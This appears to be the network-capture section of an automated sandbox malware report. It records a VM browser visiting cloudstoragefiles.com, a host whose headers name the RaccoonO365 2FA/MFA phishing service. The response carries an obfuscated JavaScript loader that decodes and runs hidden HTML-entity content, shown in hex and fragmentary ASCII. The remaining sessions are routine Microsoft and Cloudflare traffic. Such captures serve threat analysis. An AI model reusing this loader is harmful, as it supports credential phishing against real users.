65;&#6e;J&#3d;ME@JD&#3d;@ALE?A&#2d;ME@JD&#2c;E&#6e;EJE=&#6c;&#2d;I?=&#6c;A&#3d;&#2e;&#3e;&#0a;&#3c;&#6d;AJ&#
2024-09-29 13:45:46 UTC	1369	IN	Data Raw: 23 36 39 3b 26 23 36 36 3b 26 23 37 39 3b 26 23 32 64 3b 26 23 36 33 3b 26 23 36 66 3b 26 23 36 65 3b 26 23 37 34 3b 26 23 36 35 3b 26 23 36 65 3b 26 23 37 34 3b 26 23 33 61 3b 26 23 32 30 3b 26 23 36 33 3b 26 23 36 35 3b 26 23 36 65 3b 26 23 37 34 3b 26 23 36 35 3b 26 23 37 32 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 36 31 3b 26 23 36 63 3b 26 23 36 39 3b 26 23 36 37 3b 26 23 36 65 3b 26 23 32 64 3b 26 23 36 39 3b 26 23 37 34 3b 26 23 36 35 3b 26 23 36 64 3b 26 23 37 33 3b 26 23 33 61 3b 26 23 32 30 3b 26 23 36 33 3b 26 23 36 35 3b 26 23 36 65 3b 26 23 37 34 3b 26 23 36 35 3b 26 Data Ascii: #69;BO&#2d;?&#6f;&#6e;JA&#6e;J&#3a;?A&#6e;JAH&#3b;&#0a;=&#6c;EC&#6e;&#2d;EJA&#6d;I&#3a;?A&#6e;JA&
2024-09-29 13:45:46 UTC	1369	IN	Data Raw: 26 23 36 39 3b 26 23 36 65 3b 26 23 36 37 3b 26 23 33 61 3b 26 23 32 30 3b 26 23 33 32 3b 26 23 33 30 3b 26 23 37 30 3b 26 23 37 38 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 37 64 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 65 3b 26 23 36 64 3b 26 23 36 35 3b 26 23 37 33 3b 26 23 37 33 3b 26 23 36 31 3b 26 23 36 37 3b 26 23 36 35 3b 26 23 32 30 3b 26 23 37 62 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b Data Ascii: E&#6e;C&#3a; FN&#3b;&#0a;&#7d;&#0a;&#2e;&#6d;AII=CA&#7b;&#0a;
2024-09-29 13:45:46 UTC	1369	IN	Data Raw: 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 36 32 3b 26 23 36 66 3b 26 23 37 34 3b 26 23 37 34 3b 26 23 36 66 3b 26 23 36 64 3b 26 23 33 61 3b 26 23 32 30 3b 26 23 33 35 3b 26 23 33 30 3b 26 23 37 30 3b 26 23 37 38 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 36 32 3b 26 23 36 31 3b 26 23 36 33 3b 26 23 36 62 3b 26 23 36 37 3b 26 23 37 32 3b 26 23 36 66 3b 26 23 37 35 3b 26 23 36 65 3b 26 23 36 34 3b 26 23 32 64 3b 26 23 36 33 3b 26 23 36 66 3b 26 23 36 63 3b 26 23 36 66 Data Ascii: ;>&#6f;JJ&#6f;&#6d;&#3a;#FN&#3b;&#0a;>=?&#6b;CH&#6f;K&#6e;@&#2d;?&#6f;&#6c;&#6f
2024-09-29 13:45:46 UTC	1369	IN	Data Raw: 30 3b 26 23 36 32 3b 26 23 36 31 3b 26 23 36 33 3b 26 23 36 62 3b 26 23 36 37 3b 26 23 37 32 3b 26 23 36 66 3b 26 23 37 35 3b 26 23 36 65 3b 26 23 36 34 3b 26 23 32 64 3b 26 23 36 33 3b 26 23 36 66 3b 26 23 36 63 3b 26 23 36 66 3b 26 23 37 32 3b 26 23 33 61 3b 26 23 32 30 3b 26 23 32 33 3b 26 23 33 31 3b 26 23 33 32 3b 26 23 33 31 3b 26 23 33 32 3b 26 23 33 31 3b 26 23 33 32 3b 26 23 33 62 3b 26 23 32 30 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 37 64 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 37 Data Ascii: 0;>=?&#6b;CH&#6f;K&#6e;@&#2d;?&#6f;&#6c;&#6f;H&#3a; &#3b;&#0a;&#7d;&#0a;&#7
2024-09-29 13:45:46 UTC	1369	IN	Data Raw: 36 33 3b 26 23 36 66 3b 26 23 36 63 3b 26 23 36 66 3b 26 23 37 32 3b 26 23 33 61 3b 26 23 32 30 3b 26 23 32 33 3b 26 23 36 36 3b 26 23 36 36 3b 26 23 36 36 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 36 34 3b 26 23 36 39 3b 26 23 37 33 3b 26 23 37 30 3b 26 23 36 63 3b 26 23 36 31 3b 26 23 37 39 3b 26 23 33 61 3b 26 23 32 30 3b 26 23 36 36 3b 26 23 36 63 3b 26 23 36 35 3b 26 23 37 38 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 Data Ascii: 63;&#6f;&#6c;&#6f;H&#3a;BBB&#3b;&#0a;@EIF&#6c;=O&#3a;B&#6c;AN&#3b;&#0a;&#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49724	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:45:46 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-29 13:45:46 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=97156 Date: Sun, 29 Sep 2024 13:45:46 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49725	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:45:47 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-29 13:45:47 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=97185 Date: Sun, 29 Sep 2024 13:45:47 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-29 13:45:47 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49726	104.21.62.177	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:45:47 UTC	557	OUT	GET /favicon.ico HTTP/1.1 Host: cloudstoragefiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:45:49 UTC	1024	IN	HTTP/1.1 403 The gods of RaccoonO365 Service are wise, but they do not know what you seeks! Date: Sun, 29 Sep 2024 13:45:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Feature-Policy: camera 'none'; microphone 'none' Referrer-Policy: no-referrer X-Content-Type-Options: nosniff X-Powered-By: RaccoonO365 2FA/MFA Service X-Powered-CMS: RaccoonO365 2FA/MFA Service X-Robots-Tag: noindex, nofollow X-ServerName: RaccoonO365 X-ServerVersion: 3.5 X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FW%2F%2FUMpbauTZFQtwYPQ%2Fw%2B98WRznb8yzLHoG9jPjk0ADl8VhFU9TM1VsnCMQ%2Buttj3wGgGz4p9W36DV4UpQNA56yUNIpt7LKJVSCEs96P5gJQfYaxe5bCo68OK00q9%2F8xj8lFtw2CZM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cac6a65ebb6430d-EWR
2024-09-29 13:45:49 UTC	345	IN	Data Raw: 31 63 62 62 0d 0a 0a 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 0a 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 0a 20 20 20 0a 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 76 61 72 20 6f 62 66 75 73 63 61 74 65 43 6f 64 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 1cbb <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> </head> <body> <script> (function() { var obfuscateCode = function(
2024-09-29 13:45:49 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 76 61 72 20 6e 65 77 56 61 72 73 20 3d 20 7b 7d 3b 0a 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 63 6f 64 65 20 3d 20 63 6f 64 65 2e 72 65 70 6c 61 63 65 28 2f 76 61 72 73 2b 28 5b 61 2d 7a 41 2d 5a 5f 24 5d 5b 30 2d 39 61 2d 7a 41 2d 5a 5f 24 5d 2a 29 2f 67 2c 20 66 75 6e 63 74 69 6f 6e 28 6d 61 74 63 68 2c 20 70 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 6e 65 77 56 61 72 73 5b 70 31 5d 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 65 77 56 61 72 73 5b 70 31 5d 20 3d 20 63 68 61 72 73 5b 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 20 2a 20 63 68 61 72 73 2e 6c 65 6e 67 74 68 29 5d 20 2b 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 Data Ascii: var newVars = {}; code = code.replace(/vars+([a-zA-Z_$][0-9a-zA-Z_$])/g, function(match, p1) { if (!newVars[p1]) { newVars[p1] = chars[Math.floor(Math.random() chars.length)] + Math.floor(Math.ra
2024-09-29 13:45:49 UTC	1369	IN	Data Raw: 32 30 3b 26 23 36 38 3b 26 23 37 34 3b 26 23 36 64 3b 26 23 36 63 3b 26 23 33 65 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 33 63 3b 26 23 36 38 3b 26 23 37 34 3b 26 23 36 64 3b 26 23 36 63 3b 26 23 33 65 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 33 63 3b 26 23 36 38 3b 26 23 36 35 3b 26 23 36 31 3b 26 23 36 34 3b 26 23 33 65 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 33 63 3b 26 23 36 64 3b 26 23 36 35 3b 26 23 37 34 3b 26 23 36 31 3b 26 23 32 30 3b 26 23 36 65 3b 26 23 36 31 3b 26 23 36 64 3b 26 23 36 35 3b 26 23 33 64 3b 26 23 32 32 3b 26 23 37 32 3b 26 23 36 66 3b 26 23 36 32 3b 26 23 36 66 3b 26 23 37 34 3b 26 23 37 33 3b 26 23 32 32 3b 26 23 32 30 3b 26 23 36 33 3b 26 23 36 66 3b 26 23 36 65 3b 26 23 37 34 3b 26 23 Data Ascii: 20;DJ&#6d;&#6c;&#3e;&#0a;&#3c;DJ&#6d;&#6c;&#3e;&#0a;&#3c;DA=@&#3e;&#0a;&#3c;&#6d;AJ=&#6e;=&#6d;A&#3d;H&#6f;>&#6f;JI?&#6f;&#6e;J&#
2024-09-29 13:45:49 UTC	1369	IN	Data Raw: 23 37 36 3b 26 23 36 31 3b 26 23 37 32 3b 26 23 32 30 3b 26 23 37 32 3b 26 23 36 31 3b 26 23 36 33 3b 26 23 36 33 3b 26 23 36 66 3b 26 23 36 66 3b 26 23 36 65 3b 26 23 34 66 3b 26 23 33 33 3b 26 23 33 36 3b 26 23 33 35 3b 26 23 37 35 3b 26 23 37 32 3b 26 23 36 63 3b 26 23 32 30 3b 26 23 33 64 3b 26 23 32 30 3b 26 23 32 32 3b 26 23 36 38 3b 26 23 37 34 3b 26 23 37 34 3b 26 23 37 30 3b 26 23 37 33 3b 26 23 33 61 3b 26 23 32 66 3b 26 23 32 66 3b 26 23 37 37 3b 26 23 37 37 3b 26 23 37 37 3b 26 23 32 65 3b 26 23 36 66 3b 26 23 36 36 3b 26 23 36 36 3b 26 23 36 39 3b 26 23 36 33 3b 26 23 36 35 3b 26 23 32 65 3b 26 23 36 33 3b 26 23 36 66 3b 26 23 36 64 3b 26 23 32 66 3b 26 23 32 32 3b 26 23 33 62 3b 26 23 32 30 3b 26 23 32 66 3b 26 23 32 66 3b 26 23 32 30 3b 26 Data Ascii: #76;=HH=??&#6f;&#6f;&#6e;&#4f;!$#KH&#6c;&#3d;DJJFI&#3a;&#2f;&#2f;MMM&#2e;&#6f;BBE?A&#2e;?&#6f;&#6d;&#2f;&#3b;&#2f;&#2f;&
2024-09-29 13:45:49 UTC	1369	IN	Data Raw: 26 23 36 35 3b 26 23 32 38 3b 26 23 37 32 3b 26 23 36 31 3b 26 23 36 33 3b 26 23 36 33 3b 26 23 36 66 3b 26 23 36 66 3b 26 23 36 65 3b 26 23 34 66 3b 26 23 33 33 3b 26 23 33 36 3b 26 23 33 35 3b 26 23 37 35 3b 26 23 37 32 3b 26 23 36 63 3b 26 23 32 39 3b 26 23 33 62 3b 26 23 32 30 3b 26 23 37 64 3b 26 23 32 63 3b 26 23 32 30 3b 26 23 33 31 3b 26 23 33 30 3b 26 23 33 30 3b 26 23 33 30 3b 26 23 32 39 3b 26 23 33 62 3b 26 23 32 30 3b 26 23 37 64 3b 26 23 32 63 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 36 36 3b 26 23 37 35 3b 26 23 36 65 3b 26 23 36 33 3b 26 23 37 34 3b 26 23 36 39 3b 26 23 36 66 3b 26 23 36 65 3b 26 23 32 38 3b 26 23 32 39 3b 26 23 32 30 3b Data Ascii: AH=??&#6f;&#6f;&#6e;&#4f;!$#KH&#6c;&#3b;&#7d;&#2c;&#3b;&#7d;&#2c;&#0a;BK&#6e;?JE&#6f;&#6e;
2024-09-29 13:45:49 UTC	1369	IN	Data Raw: 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 36 36 3b 26 23 37 35 3b 26 23 36 65 3b 26 23 36 33 3b 26 23 32 38 3b 26 23 32 39 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 37 64 3b 26 23 32 39 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 33 63 3b 26 23 32 66 3b 26 23 37 33 3b 26 23 36 33 3b 26 23 37 32 3b 26 23 36 39 3b 26 23 37 30 3b 26 23 37 34 3b 26 23 33 65 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 33 63 3b 26 23 32 66 3b 26 23 36 32 3b 26 23 36 66 3b 26 23 36 34 3b 26 23 37 39 3b 26 23 33 65 3b 26 23 30 61 3b 26 23 32 30 Data Ascii: ;BK&#6e;?&#3b;&#0a;&#7d;&#3b;&#0a;&#3c;&#2f;I?HEFJ&#3e;&#0a;&#3c;&#2f;>&#6f;@O&#3e;&#0a;&#20
2024-09-29 13:45:49 UTC	173	IN	Data Raw: 64 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 73 63 72 69 70 74 2e 74 65 78 74 43 6f 6e 74 65 6e 74 20 3d 20 6f 62 66 75 73 63 61 74 65 64 43 6f 64 65 3b 0a 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 65 78 65 63 75 74 65 44 65 63 6f 64 65 64 43 6f 6e 74 65 6e 74 28 29 3b 0a 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 7d 29 28 29 3b 0a 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 0a 20 20 20 20 0a 20 20 20 0a 20 20 20 0a 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 0d 0a Data Ascii: de); script.textContent = obfuscatedCode; executeDecodedContent(); }); })(); </script> </body> </html>
2024-09-29 13:45:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49730	35.190.80.1	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:45:49 UTC	556	OUT	OPTIONS /report/v4?s=FW%2F%2FUMpbauTZFQtwYPQ%2Fw%2B98WRznb8yzLHoG9jPjk0ADl8VhFU9TM1VsnCMQ%2Buttj3wGgGz4p9W36DV4UpQNA56yUNIpt7LKJVSCEs96P5gJQfYaxe5bCo68OK00q9%2F8xj8lFtw2CZM%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://cloudstoragefiles.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:45:49 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Sun, 29 Sep 2024 13:45:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49731	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:45:50 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 73 6c 48 6f 42 6d 4b 6d 39 55 4f 31 59 6d 56 39 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 62 63 30 32 61 36 63 34 32 64 37 62 61 31 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: slHoBmKm9UO1YmV9.1Context: 3bc02a6c42d7ba18
2024-09-29 13:45:50 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-29 13:45:50 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 73 6c 48 6f 42 6d 4b 6d 39 55 4f 31 59 6d 56 39 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 62 63 30 32 61 36 63 34 32 64 37 62 61 31 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 41 53 65 66 6f 69 66 59 57 62 71 56 6d 78 74 71 59 63 32 42 54 5a 33 64 52 46 64 5a 74 2b 74 4e 63 74 66 55 4d 54 37 4b 75 49 76 2b 43 50 72 51 63 70 56 64 41 32 7a 6f 4f 51 4a 36 2b 67 49 76 58 30 47 47 43 52 61 5a 75 66 57 55 2f 77 49 33 51 2b 54 55 35 4f 68 33 39 68 39 61 70 4d 42 42 77 39 77 74 56 78 32 79 53 31 73 4a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: slHoBmKm9UO1YmV9.2Context: 3bc02a6c42d7ba18<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdASefoifYWbqVmxtqYc2BTZ3dRFdZt+tNctfUMT7KuIv+CPrQcpVdA2zoOQJ6+gIvX0GGCRaZufWU/wI3Q+TU5Oh39h9apMBBw9wtVx2yS1sJ
2024-09-29 13:45:50 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 73 6c 48 6f 42 6d 4b 6d 39 55 4f 31 59 6d 56 39 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 62 63 30 32 61 36 63 34 32 64 37 62 61 31 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: slHoBmKm9UO1YmV9.3Context: 3bc02a6c42d7ba18<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-09-29 13:45:50 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-29 13:45:50 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4f 73 59 44 38 44 4a 4b 43 55 61 4e 75 2f 36 45 6b 73 67 33 65 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: OsYD8DJKCUaNu/6Eksg3eQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49732	35.190.80.1	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:45:50 UTC	492	OUT	POST /report/v4?s=FW%2F%2FUMpbauTZFQtwYPQ%2Fw%2B98WRznb8yzLHoG9jPjk0ADl8VhFU9TM1VsnCMQ%2Buttj3wGgGz4p9W36DV4UpQNA56yUNIpt7LKJVSCEs96P5gJQfYaxe5bCo68OK00q9%2F8xj8lFtw2CZM%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 403 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
